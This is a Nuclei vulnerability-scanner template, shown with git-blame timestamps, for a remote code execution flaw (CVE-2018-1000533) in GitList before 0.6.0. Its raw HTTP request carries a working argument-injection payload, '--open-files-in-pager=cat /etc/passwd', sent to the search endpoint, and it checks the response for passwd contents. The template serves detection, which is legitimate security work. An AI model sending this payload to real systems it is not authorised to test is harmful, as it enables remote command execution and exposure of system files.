nuclei-templates/cves/2018/CVE-2018-1000533.yaml

40 lines
1.1 KiB
YAML
Raw Normal View History

2021-06-15 07:28:10 +00:00
id: CVE-2018-1000533
info:
name: GitList < 0.6.0 RCE
author: pikpikcu
severity: critical
2021-06-15 10:01:36 +00:00
description: klaussilveira GitList version <= 0.6 contains a Passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in Execute any code as PHP user.
2021-06-15 07:28:10 +00:00
reference: https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
2021-06-15 10:01:36 +00:00
tags: rce,git,cve,cve2018,gitlist
2021-06-15 07:28:10 +00:00
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /{{path}}/tree/a/search HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
query=--open-files-in-pager=cat%20/etc/passwd
extractors:
- type: regex
name: path
group: 1
internal: true
part: body
regex:
- '<span class="name">(.*?)</span>'
matchers:
2021-06-15 10:53:59 +00:00
- type: word
words:
2021-06-15 07:28:10 +00:00
- "root:/root:/bin/bash"
2021-06-15 10:53:59 +00:00
part: body